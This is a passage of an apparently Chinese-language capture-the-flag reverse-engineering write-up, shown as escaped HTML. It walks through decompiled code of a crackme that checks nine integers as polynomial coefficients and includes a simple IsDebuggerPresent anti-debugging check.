&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; local_c;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;111&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;result &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; total;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;112&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;113&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ((local_c &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;72&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; (local_c &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;202&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;114&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LAB_0040177a:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;115&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;bVar1 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;116&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;117&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;118&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;v12 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_c &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;25&lt;/span&gt;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;119&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (v12 &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;37&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;120&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_28 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (ulonglong)v12;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;121&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_20 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;v5;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;122&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_29 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (v5 &lt;/span&gt;&lt;span&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span&gt; (local_28 &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;3f&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;123&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ((&lt;/span&gt;&lt;span&gt;bool&lt;/span&gt;&lt;span&gt;)local_29) &lt;/span&gt;&lt;span&gt;goto&lt;/span&gt;&lt;span&gt; LAB_0040177a;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;124&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;125&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;bVar1 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;126&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;127&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (bVar1) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;128&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;BVar3 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IsDebuggerPresent&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;129&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (BVar3 &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;130&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This program is being debugged. Exiting!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;131&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;/* WARNING: Subroutine does not return */&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;132&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;133&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;134&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (result &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;135&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Those aren&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;t the right numbers. Try again!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;136&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;137&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;138&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;139&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (result &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;140&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;BVar3 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IsDebuggerPresent&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;141&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (BVar3 &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;142&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Those aren&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;t the right numbers. Try again!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;143&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;144&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;145&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This program is being debugged. Exiting!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;146&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;/* WARNING: Subroutine does not return */&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;147&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;148&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;149&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_c &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;150&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;( &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;151&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;代码不算特别长，不过似乎有意在反调试。考虑到题目的难度，应该只需要静态分析就可以完成。&lt;/p&gt;&lt;p&gt;首先看看程序在做什么：&lt;/p&gt;&lt;p&gt;首先，让用户输入9个数字，存储在全局变量中。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;I&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;m practicing my neuro math skills. Give me nine integers: &quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;scanf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;coeffs&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;DAT_00408044&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;DAT_00408048&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;DAT_0040804c&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;DAT_004080 &lt;/span&gt;&lt;span&gt;50&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;DAT_00408054&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;DAT_00408058&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;DAT_0040805c&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;&lt;span&gt;DAT_00408060&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Hmm, let me think&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;然后，设置一个值local_c = -0x3c（-60），进入一个大循环。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;local_c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;3c&lt;/span&gt;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;  // 设置循环变量从-60开始&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;do&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;3b&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; local_c) {&lt;/span&gt;&lt;span&gt;  // 如果 59 &amp;lt; local_c&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;// 依据循环结束的变量输出对应信息并退出程序&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;// 循环体内的验证代码&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_c &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;  // 循环变量+1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;( &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt; );&lt;/span&gt;&lt;span&gt;  // 从-60循环到59&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;在循环结束之前的120次循环中，对于输入做以下处理：&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;设输入的9个数为c0~c8，x=local_c，&lt;strong&gt;求 c0 + c1 · x + c2 · x&lt;sup&gt;2&lt;/sup&gt; + c3 · x&lt;sup&gt;3&lt;/sup&gt; + c4 · x&lt;sup&gt;4&lt;/sup&gt; + c5 · x&lt;sup&gt;5&lt;/sup&gt; + c6 · x&lt;sup&gt;6&lt;/sup&gt; + c7 · x&lt;sup&gt;7&lt;/sup&gt; + c8 · x&lt;sup&gt;8&lt;/sup&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;total &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;power &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; (local_10 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; local_10 &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;; local_10 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_10 &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;total &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; total &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;coeffs)[local_10] &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; power;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;power &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; power &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; local_c;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;result &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; total;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;验证这个8次多项式的值&lt;/li&gt;
